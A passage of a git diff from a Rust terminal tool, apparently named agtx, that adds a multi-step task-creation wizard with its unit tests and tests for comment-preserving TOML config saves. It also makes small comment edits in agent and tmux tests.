task.+ pub fn creating() -> Self {+ Self {+ step: WizardStep::Title,+ agent_step: false,+ plugin_step: false,+ title: TextInput::new(),+ prompt: TextInput::new(),+ agent: ListPick::default(),+ plugin: ListPick::default(),+ editing_task_id: None,+ referenced_task_ids: HashSet::new(),+ highlighted_references: HashSet::new(),+ validation: None,+ prompt_seeded: false,+ }+ }++ /// Editing an existing task, opened on its title.+ pub fn editing(task_id: impl Into<String>, title: impl Into<String>) -> Self {+ let mut wizard = Self::creating();+ wizard.editing_task_id = Some(task_id.into());+ wizard.title.set_text(title.into());+ wizard+ }++ pub fn step(&self) -> WizardStep {+ self.step+ }++ pub fn is_editing(&self) -> bool {+ self.editing_task_id.is_some()+ }++ /// The steps this run walks through, in order.+ pub fn steps(&self) -> Vec<WizardStep> {+ let mut steps = vec![WizardStep::Title];+ if self.agent_step {+ steps.push(WizardStep::Agent);+ }+ if self.plugin_step {+ steps.push(WizardStep::Plugin);+ }+ steps.push(WizardStep::Prompt);+ steps+ }++ /// Position of the current step within `steps`, for the breadcrumb.+ pub fn step_index(&self) -> usize {+ self.steps()+ .iter()+ .position(|s| *s == self.step)+ .unwrap_or(0)+ }++ pub fn on_first_step(&self) -> bool {+ self.step_index() == 0+ }++ pub fn on_last_step(&self) -> bool {+ self.step_index() + 1 == self.steps().len()+ }++ /// Include or drop an optional step, once its options are known.+ ///+ /// Dropping the step the cursor stands on would leave `step` outside+ /// `steps` and every index derived from it wrong, so it retreats to Title.+ pub fn set_optional_step(&mut self, step: WizardStep, enabled: bool) {+ match step {+ WizardStep::Agent => self.agent_step = enabled,+ WizardStep::Plugin => self.plugin_step = enabled,+ _ => return,+ }+ if !enabled && self.step == step {+ self.step = WizardStep::Title;+ }+ }++ /// The list the current step is picking from, if it is a list step.+ pub fn current_list(&self) -> Option<&ListPick> {+ match self.step {+ WizardStep::Agent => Some(&self.agent),+ WizardStep::Plugin => Some(&self.plugin),+ _ => None,+ }+ }++ pub fn current_list_mut(&mut self) -> Option<&mut ListPick> {+ match self.step {+ WizardStep::Agent => Some(&mut self.agent),+ WizardStep::Plugin => Some(&mut self.plugin),+ _ => None,+ }+ }++ /// Move to the next step. `false` when already on the last one β the+ /// caller saves instead.+ pub fn advance(&mut self) -> bool {+ let steps = self.steps();+ let index = self.step_index();+ match steps.get(index + 1) {+ Some(next) => {+ self.enter(*next);+ true+ }+ None => false,+ }+ }++ /// Move to the previous step. `false` when already on the first one β the+ /// caller cancels instead.+ pub fn back(&mut self) -> bool {+ let index = self.step_index();+ if index == 0 {+ return false;+ }+ let previous = self.steps()[index - 1];+ self.enter(previous);+ true+ }++ fn enter(&mut self, step: WizardStep) {+ // A filter belongs to the visit, not to the step: coming back to a list+ // shows the whole list again, not the last search.+ if let Some(list) = self.current_list_mut() {+ list.stop_filter();+ }+ self.step = step;+ self.validation = None;+ }++ /// The field the caret is in, or `None` on a list step.+ pub fn active_input(&self) -> Option<&TextInput> {+ match self.step {+ WizardStep::Title => Some(&self.title),+ WizardStep::Prompt => Some(&self.prompt),+ _ => None,+ }+ }++ pub fn active_input_mut(&mut self) -> Option<&mut TextInput> {+ match self.step {+ WizardStep::Title => Some(&mut self.title),+ WizardStep::Prompt => Some(&mut self.prompt),+ _ => None,+ }+ }++ /// A task needs a title and nothing else; the prompt, agent and plugin all+ /// have defaults. This is what `Ctrl+S` checks from any step.+ pub fn can_save(&self) -> bool {+ !self.title.as_str().trim().is_empty()+ }++ /// The plugin to stamp on the task. `None` is the agtx default.+ pub fn plugin_name(&self) -> Option<&str> {+ self.plugin+ .selected_option()+ .map(|o| o.name.as_str())+ .filter(|name| !name.is_empty())+ }++ pub fn plugin_label(&self) -> &str {+ self.plugin+ .selected_option()+ .map(|o| o.label.as_str())+ .unwrap_or("agtx")+ }++ /// The agent to run the task with, when the step offered a choice.+ pub fn agent_name(&self) -> Option<&str> {+ self.agent+ .selected_option()+ .map(|o| o.name.as_str())+ .filter(|name| !name.is_empty())+ }++ pub fn take_prompt_seed(&mut self) -> bool {+ !std::mem::replace(&mut self.prompt_seeded, true)+ }+}++#[cfg(test)]+#[path = "wizard_tests.rs"]+mod tests;diff --git a/src/tui/wizard_tests.rs b/src/tui/wizard_tests.rsnew file mode 100644index 0000000..68cb836--- /dev/null+++ b/src/tui/wizard_tests.rs@@ -0,0 +1,439 @@+use super::*;++fn opt(name: &str) -> PickOption {+ PickOption::new(name, name, "", false)+}++#[test]+fn a_new_wizard_starts_on_the_title() {+ let wizard = WizardState::creating();+ assert_eq!(wizard.step(), WizardStep::Title);+ assert!(wizard.on_first_step());+ assert!(!wizard.is_editing());+}++#[test]+fn editing_opens_on_the_title_already_filled_in() {+ let wizard = WizardState::editing("t-1", "Fix login");+ assert!(wizard.is_editing());+ assert_eq!(wizard.title.as_str(), "Fix login");+ assert_eq!(wizard.title.cursor, 9, "caret at the end, ready to append");+ assert_eq!(wizard.step(), WizardStep::Title);+}++#[test]+fn the_plugin_step_is_skipped_when_it_is_not_enabled() {+ let mut wizard = WizardState::creating();+ assert_eq!(wizard.steps(), &[WizardStep::Title, WizardStep::Prompt]);+ assert!(wizard.advance());+ assert_eq!(wizard.step(), WizardStep::Prompt);+ assert!(wizard.on_last_step());+}++#[test]+fn the_plugin_step_sits_between_the_other_two_when_enabled() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Plugin, true);+ assert_eq!(+ wizard.steps(),+ &[WizardStep::Title, WizardStep::Plugin, WizardStep::Prompt]+ );+ assert!(wizard.advance());+ assert_eq!(wizard.step(), WizardStep::Plugin);+ assert!(wizard.advance());+ assert_eq!(wizard.step(), WizardStep::Prompt);+}++/// The point of the whole restructure: a typo caught on the last step is one+/// keypress from being fixed, not a reason to start over.+#[test]+fn stepping_back_keeps_both_fields() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Plugin, true);+ wizard.title.set_text("Fix login");+ wizard.advance();+ wizard.advance();+ wizard.prompt.set_text("the session cookie expires early");++ assert!(wizard.back());+ assert_eq!(wizard.step(), WizardStep::Plugin);+ assert!(wizard.back());+ assert_eq!(wizard.step(), WizardStep::Title);+ assert_eq!(wizard.title.as_str(), "Fix login");+ assert_eq!(wizard.prompt.as_str(), "the session cookie expires early");+}++#[test]+fn advancing_past_the_last_step_is_declined() {+ let mut wizard = WizardState::creating();+ wizard.advance();+ assert!(wizard.on_last_step());+ assert!(+ !wizard.advance(),+ "the caller saves rather than moving further"+ );+ assert_eq!(wizard.step(), WizardStep::Prompt);+}++#[test]+fn stepping_back_from_the_first_step_is_declined() {+ let mut wizard = WizardState::creating();+ assert!(+ !wizard.back(),+ "the caller cancels rather than moving further"+ );+ assert_eq!(wizard.step(), WizardStep::Title);+}++/// Disabling the step while standing on it would leave `step` outside `steps`,+/// and every index derived from it wrong.+#[test]+fn disabling_the_plugin_step_moves_off_it() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Plugin, true);+ wizard.advance();+ assert_eq!(wizard.step(), WizardStep::Plugin);++ wizard.set_optional_step(WizardStep::Plugin, false);+ assert_eq!(wizard.step(), WizardStep::Title);+ assert_eq!(wizard.step_index(), 0);+}++#[test]+fn the_breadcrumb_index_follows_the_actual_flow() {+ let mut wizard = WizardState::creating();+ assert_eq!(wizard.step_index(), 0);+ wizard.advance();+ assert_eq!(+ wizard.step_index(),+ 1,+ "the prompt is step 2 of 2 without a plugin step"+ );++ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Plugin, true);+ wizard.advance();+ wizard.advance();+ assert_eq!(wizard.step_index(), 2);+}++// --- the active field ---++#[test]+fn the_active_field_follows_the_step() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Plugin, true);+ wizard.title.set_text("t");+ wizard.prompt.set_text("p");++ assert_eq!(wizard.active_input().map(|i| i.as_str()), Some("t"));+ wizard.advance();+ assert!(+ wizard.active_input().is_none(),+ "the plugin step is a list, not a text field"+ );+ wizard.advance();+ assert_eq!(wizard.active_input().map(|i| i.as_str()), Some("p"));+}++#[test]+fn the_active_field_is_the_one_edited() {+ let mut wizard = WizardState::creating();+ wizard.active_input_mut().unwrap().insert_char('a');+ wizard.advance();+ wizard.active_input_mut().unwrap().insert_char('b');+ assert_eq!(wizard.title.as_str(), "a");+ assert_eq!(wizard.prompt.as_str(), "b");+}++// --- saving ---++#[test]+fn saving_needs_a_title_and_nothing_else() {+ let mut wizard = WizardState::creating();+ assert!(!wizard.can_save());+ wizard.title.set_text(" ");+ assert!(!wizard.can_save(), "whitespace is not a title");+ wizard.title.set_text("Fix login");+ assert!(+ wizard.can_save(),+ "the prompt and plugin both have defaults"+ );+}++// --- plugin selection ---++#[test]+fn plugin_selection_clamps_at_both_ends() {+ let mut wizard = WizardState::creating();+ wizard.plugin.options = vec![opt("agtx"), opt("gsd")];++ wizard.plugin.select_prev();+ assert_eq!(wizard.plugin.selected, 0);+ wizard.plugin.select_next();+ assert_eq!(wizard.plugin.selected, 1);+ wizard.plugin.select_next();+ assert_eq!(wizard.plugin.selected, 1, "clamped at the last option");+}++#[test]+fn cycling_wraps_where_selection_clamps() {+ let mut wizard = WizardState::creating();+ wizard.plugin.options = vec![opt("agtx"), opt("gsd")];+ wizard.plugin.cycle();+ assert_eq!(wizard.plugin.selected, 1);+ wizard.plugin.cycle();+ assert_eq!(wizard.plugin.selected, 0);+}++#[test]+fn cycling_an_empty_list_does_not_divide_by_zero() {+ let mut wizard = WizardState::creating();+ wizard.plugin.cycle();+ assert_eq!(wizard.plugin.selected, 0);+}++/// "agtx" is the default, stored as no plugin at all β the name is only+/// recorded on the task when it is something else.+#[test]+fn the_plugin_name_is_none_when_the_option_carries_no_name() {+ let mut wizard = WizardState::creating();+ wizard.plugin.options = vec![PickOption::new("", "agtx", "", true)];+ assert_eq!(wizard.plugin_name(), None);+ assert_eq!(wizard.plugin_label(), "agtx");++ wizard.plugin.options.push(opt("gsd"));+ wizard.plugin.selected = 1;+ assert_eq!(wizard.plugin_name(), Some("gsd"));+}++// --- seeding ---++/// Both guards exist because of back-navigation: re-entering a step from the+/// right must not overwrite what the user did the first time through.+#[test]+fn each_step_seeds_itself_exactly_once() {+ let mut wizard = WizardState::creating();+ assert!(wizard.plugin.take_seed());+ assert!(!wizard.plugin.take_seed());+ assert!(!wizard.plugin.take_seed());++ assert!(wizard.take_prompt_seed());+ assert!(!wizard.take_prompt_seed());+}++// --- validation ---++#[test]+fn a_validation_message_does_not_survive_a_step_change() {+ let mut wizard = WizardState::creating();+ wizard.title.set_text("t");+ wizard.validation = Some("nope".to_string());+ wizard.advance();+ assert!(wizard.validation.is_none());++ wizard.validation = Some("nope".to_string());+ wizard.back();+ assert!(wizard.validation.is_none());+}++// --- filtering ---++fn picker() -> ListPick {+ let mut list = ListPick::default();+ list.options = vec![+ PickOption::new("agtx", "agtx", "Built-in workflow", true),+ PickOption::new("gsd", "gsd", "Get Shit Done", false),+ PickOption::new("spec-kit", "spec-kit", "GitHub spec-kit workflow", false),+ PickOption::new("bmad", "bmad", "AI-driven agile development", false),+ ];+ list+}++#[test]+fn an_unfiltered_list_shows_everything() {+ let list = picker();+ assert!(!list.is_filtering());+ assert_eq!(list.matching().len(), 4);+}++#[test]+fn a_filter_narrows_by_label_and_by_description() {+ let mut list = picker();+ list.start_filter();+ list.filter.as_mut().unwrap().set_text("spec");+ // "spec-kit" by label, and by its description too β one match either way.+ assert_eq!(list.matching(), vec![2]);++ list.filter.as_mut().unwrap().set_text("workflow");+ assert_eq!(+ list.matching(),+ vec![0, 2],+ "matching on the description as well as the name"+ );+}++#[test]+fn filtering_is_case_insensitive() {+ let mut list = picker();+ list.start_filter();+ list.filter.as_mut().unwrap().set_text("GSD");+ assert_eq!(list.matching(), vec![1]);+}++/// `selected` indexes the options, not the filtered view, so narrowing and+/// widening again leaves the cursor on the same option rather than on whatever+/// happens to sit at that position now.+#[test]+fn the_cursor_stays_on_the_same_option_across_a_filter() {+ let mut list = picker();+ list.selected = 2;+ list.start_filter();+ list.filter.as_mut().unwrap().set_text("spec");+ list.settle();+ assert_eq!(list.selected, 2);++ list.filter.as_mut().unwrap().set_text("");+ list.settle();+ assert_eq!(list.selected, 2, "still spec-kit, not the third row");+}++/// When the filter excludes the current pick, the cursor has to move somewhere+/// real β an Enter on an invisible selection would pick something the user+/// cannot see.+#[test]+fn a_filter_that_excludes_the_pick_moves_it_to_the_first_match() {+ let mut list = picker();+ list.selected = 0;+ list.start_filter();+ list.filter.as_mut().unwrap().set_text("gsd");+ list.settle();+ assert_eq!(list.selected, 1);+}++#[test]+fn navigation_moves_within_the_filtered_view() {+ let mut list = picker();+ list.start_filter();+ list.filter.as_mut().unwrap().set_text("d"); // gsd, bmad ("...Done", "...development")+ list.settle();+ let visible = list.matching();+ assert!(visible.len() >= 2, "{visible:?}");++ list.selected = visible[0];+ list.select_next();+ assert_eq!(list.selected, visible[1], "skips the filtered-out rows");+ list.select_next();+ if visible.len() == 2 {+ assert_eq!(list.selected, visible[1], "clamped at the last match");+ }+ list.select_prev();+ assert_eq!(list.selected, visible[0]);+}++#[test]+fn a_filter_matching_nothing_leaves_the_pick_alone() {+ let mut list = picker();+ list.selected = 1;+ list.start_filter();+ list.filter.as_mut().unwrap().set_text("zzzz");+ list.settle();+ assert!(list.matching().is_empty());+ assert_eq!(list.selected, 1, "nothing to move to, so nothing moves");+}++#[test]+fn the_scrollbar_position_is_an_index_into_the_visible_rows() {+ let mut list = picker();+ list.selected = 3;+ assert_eq!(list.position(), 3);++ list.start_filter();+ list.filter.as_mut().unwrap().set_text("d");+ list.settle();+ let visible = list.matching();+ list.selected = *visible.last().unwrap();+ assert_eq!(list.position(), visible.len() - 1);+}++/// A filter belongs to the visit, not to the step: coming back to a list should+/// show the whole list again, not the last search.+#[test]+fn stepping_away_clears_the_filter() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Plugin, true);+ wizard.title.set_text("t");+ wizard.advance();+ wizard.plugin.start_filter();+ wizard.plugin.filter.as_mut().unwrap().set_text("gsd");++ wizard.advance();+ wizard.back();+ assert!(!wizard.plugin.is_filtering(), "the filter did not survive");+}++// --- the agent step ---++#[test]+fn the_agent_step_sits_between_the_title_and_the_plugin() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Agent, true);+ wizard.set_optional_step(WizardStep::Plugin, true);+ assert_eq!(+ wizard.steps(),+ vec![+ WizardStep::Title,+ WizardStep::Agent,+ WizardStep::Plugin,+ WizardStep::Prompt+ ]+ );+}++#[test]+fn either_optional_step_can_be_absent_on_its_own() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Agent, true);+ assert_eq!(+ wizard.steps(),+ vec![WizardStep::Title, WizardStep::Agent, WizardStep::Prompt]+ );++ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Plugin, true);+ assert_eq!(+ wizard.steps(),+ vec![WizardStep::Title, WizardStep::Plugin, WizardStep::Prompt]+ );+}++#[test]+fn the_agent_name_is_none_until_the_step_is_seeded() {+ let wizard = WizardState::creating();+ assert_eq!(+ wizard.agent_name(),+ None,+ "so the caller falls back to config"+ );+}++#[test]+fn only_a_list_step_has_a_list() {+ let mut wizard = WizardState::creating();+ wizard.set_optional_step(WizardStep::Agent, true);+ assert!(wizard.current_list().is_none(), "the title is a text field");+ wizard.advance();+ assert!(wizard.current_list().is_some());+ wizard.advance();+ assert!(wizard.current_list().is_none(), "so is the prompt");+}++#[test]+fn a_single_option_is_not_a_choice() {+ let mut list = ListPick::default();+ assert!(!list.is_a_choice());+ list.options = vec![PickOption::new("a", "a", "", true)];+ assert!(!list.is_a_choice());+ list.options.push(PickOption::new("b", "b", "", false));+ assert!(list.is_a_choice());+}diff --git a/tests/agent_tests.rs b/tests/agent_tests.rsindex d7be68e..74eb5d8 100644--- a/tests/agent_tests.rs+++ b/tests/agent_tests.rs@@ -209,7 +209,7 @@ fn test_build_orchestrator_command_claude_is_idempotent() {"must register under a unique name, not bare `agtx`:\n{cmd}");- // The JSON is a plainly single-quoted word. It used to be pre-escaped as+ // The JSON is a plainly single-quoted word. Pre-escaping it as// `'\''{json}'\''` because `create_window` interpolated this command raw into// `sh -c 'β¦'`; that wrapper now quotes what it is given, so pre-escaping here// double-escapes and the pane dies on an unterminated quote beforediff --git a/tests/config_tests.rs b/tests/config_tests.rsindex b7a812a..b301f48 100644--- a/tests/config_tests.rs+++ b/tests/config_tests.rs@@ -567,7 +567,204 @@ fn test_feature_flags_no_init_scripts() {let flags = FeatureFlags {experimental: false,no_init_scripts: true,+ first_run: false,};assert!(flags.no_init_scripts);assert!(!flags.experimental);}++// =============================================================================+// Comment-preserving config writes+//+// agtx offers to edit a file people maintain by hand, so a save has to leave+// everything it did not put there alone.+// =============================================================================++fn project_with_config(body: &str) -> tempfile::TempDir {+ let dir = tempfile::tempdir().unwrap();+ std::fs::create_dir_all(dir.path().join(".agtx")).unwrap();+ std::fs::write(dir.path().join(".agtx/config.toml"), body).unwrap();+ dir+}++fn read_config(dir: &tempfile::TempDir) -> String {+ std::fs::read_to_string(dir.path().join(".agtx/config.toml")).unwrap()+}++#[test]+fn saving_keeps_comments_and_unknown_keys() {+ let dir = project_with_config(concat!(+ "# how this project is set up\n",+ "workflow_plugin = \"gsd\" # the team standard\n",+ "\n",+ "# not an agtx key at all\n",+ "[experiment]\n",+ "enabled = true\n",+ ));++ let mut config = ProjectConfig::load(dir.path()).unwrap();+ config.base_branch = Some("develop".to_string());+ config.save(dir.path()).unwrap();++ let text = read_config(&dir);+ assert!(text.contains("# how this project is set up"), "{text}");+ assert!(text.contains("# the team standard"), "{text}");+ assert!(text.contains("# not an agtx key at all"), "{text}");+ assert!(text.contains("[experiment]"), "{text}");+ assert!(text.contains("enabled = true"), "{text}");+ assert!(text.contains("develop"), "the new value landed: {text}");++ // And it is still valid, still loadable.+ let back = ProjectConfig::load(dir.path()).unwrap();+ assert_eq!(back.base_branch.as_deref(), Some("develop"));+ assert_eq!(back.workflow_plugin.as_deref(), Some("gsd"));+}++#[test]+fn clearing_a_field_removes_it_from_the_file() {+ let dir = project_with_config("init_script = \"npm ci\"\nworkflow_plugin = \"gsd\"\n");++ let mut config = ProjectConfig::load(dir.path()).unwrap();+ config.init_script = None;+ config.save(dir.path()).unwrap();++ let text = read_config(&dir);+ assert!(+ !text.contains("init_script"),+ "cleared field lingered: {text}"+ );+ assert!(text.contains("workflow_plugin"), "{text}");+ assert_eq!(ProjectConfig::load(dir.path()).unwrap().init_script, None);+}++/// A comment lives in the *following* key's decor, so removing the first key in+/// a file must not take the file's header comment with it.+#[test]+fn removing_the_first_key_does_not_take_the_header_comment() {+ let dir = project_with_config(concat!(+ "# project settings\n",+ "init_script = \"npm ci\"\n",+ "workflow_plugin = \"gsd\"\n",+ ));++ let mut config = ProjectConfig::load(dir.path()).unwrap();+ config.init_script = None;+ config.save(dir.path()).unwrap();++ let text = read_config(&dir);+ assert!(text.contains("# project settings"), "{text}");+ assert!(!text.contains("init_script"), "{text}");+}++/// serde renders a nested struct as an inline table; merged as-is that+/// collapses a `[worktree]` section onto one line, comments and all.+#[test]+fn nested_sections_stay_sections() {+ let dir = tempfile::tempdir().unwrap();+ std::fs::create_dir_all(dir.path().join(".agtx")).unwrap();+ std::fs::write(+ dir.path().join(".agtx/config.toml"),+ concat!(+ "# per-phase agents\n",+ "[agents]\n",+ "planning = \"claude\"\n",+ ),+ )+ .unwrap();++ let mut config = ProjectConfig::load(dir.path()).unwrap();+ config.agents.as_mut().unwrap().running = Some("codex".to_string());+ config.save(dir.path()).unwrap();++ let text = read_config(&dir);+ assert!(text.contains("[agents]"), "section flattened: {text}");+ assert!(!text.contains("agents = {"), "written inline: {text}");+ assert!(text.contains("# per-phase agents"), "{text}");++ let back = ProjectConfig::load(dir.path()).unwrap();+ let agents = back.agents.unwrap();+ assert_eq!(agents.planning.as_deref(), Some("claude"));+ assert_eq!(agents.running.as_deref(), Some("codex"));+}++#[test]+fn clearing_a_nested_field_removes_it() {+ let dir = project_with_config("[agents]\nplanning = \"claude\"\nrunning = \"codex\"\n");++ let mut config = ProjectConfig::load(dir.path()).unwrap();+ config.agents.as_mut().unwrap().running = None;+ config.save(dir.path()).unwrap();++ let text = read_config(&dir);+ assert!(text.contains("planning"), "{text}");+ assert!(!text.contains("running"), "{text}");+}++/// A file that does not parse cannot be merged into, but that is no reason to+/// refuse the save β it would leave the user unable to fix it from inside+/// agtx.+#[test]+fn an_unparseable_file_is_replaced_rather_than_erroring() {+ let dir = project_with_config("this is not = = toml\n");++ let config = ProjectConfig {+ workflow_plugin: Some("gsd".to_string()),+ ..Default::default()+ };+ config.save(dir.path()).unwrap();++ let back = ProjectConfig::load(dir.path()).unwrap();+ assert_eq!(back.workflow_plugin.as_deref(), Some("gsd"));+}++#[test]+fn saving_into_a_directory_that_does_not_exist_yet_works() {+ let dir = tempfile::tempdir().unwrap();+ let config = ProjectConfig {+ workflow_plugin: Some("gsd".to_string()),+ ..Default::default()+ };+ config.save(dir.path()).unwrap();++ assert!(dir.path().join(".agtx/config.toml").exists());+ assert_eq!(+ ProjectConfig::load(dir.path())+ .unwrap()+ .workflow_plugin+ .as_deref(),+ Some("gsd")+ );+}++/// A fresh file should look like the format the README documents, not like a+/// wall of inline tables.+#[test]+fn a_fresh_global_config_is_written_as_sections() {+ let dir = tempfile::tempdir().unwrap();+ std::env::set_var("AGTX_CONFIG_DIR", dir.path());++ GlobalConfig::default().save().unwrap();+ let text = std::fs::read_to_string(dir.path().join("config.toml")).unwrap();++ std::env::remove_var("AGTX_CONFIG_DIR");++ assert!(text.contains("[worktree]"), "{text}");+ assert!(text.contains("[theme]"), "{text}");+ assert!(!text.contains("worktree = {"), "{text}");+ assert!(text.contains("default_agent = \"claude\""), "{text}");+}++/// `agents` is optional on `ProjectConfig`, so clearing it has to take the+/// whole section β not leave an empty `[agents]` header behind.+#[test]+fn clearing_the_agents_section_removes_it_entirely() {+ let dir = project_with_config("[agents]\nplanning = \"claude\"\n");++ let mut config = ProjectConfig::load(dir.path()).unwrap();+ config.agents = None;+ config.save(dir.path()).unwrap();++ let text = read_config(&dir);+ assert!(!text.contains("[agents]"), "empty section lingered: {text}");+ assert!(ProjectConfig::load(dir.path()).unwrap().agents.is_none());+}diff --git a/tests/tmux_control_tests.rs b/tests/tmux_control_tests.rsindex 4aab293..26414d9 100644--- a/tests/tmux_control_tests.rs+++ b/tests/tmux_control_tests.rs@@ -992,7 +992,7 @@ fn control_mode_is_faster_than_a_process_per_key() {let samples = 200;// (1) The baseline this whole change exists to remove: one `tmux` process- // per key, timed the way the TUI thread used to pay for it.+ // per key, timed the way an input thread would pay for it.let bench_target = server.recording_window("bench");let mut subprocess_spawn = Vec::with_capacity(samples);for _ in 0..samples {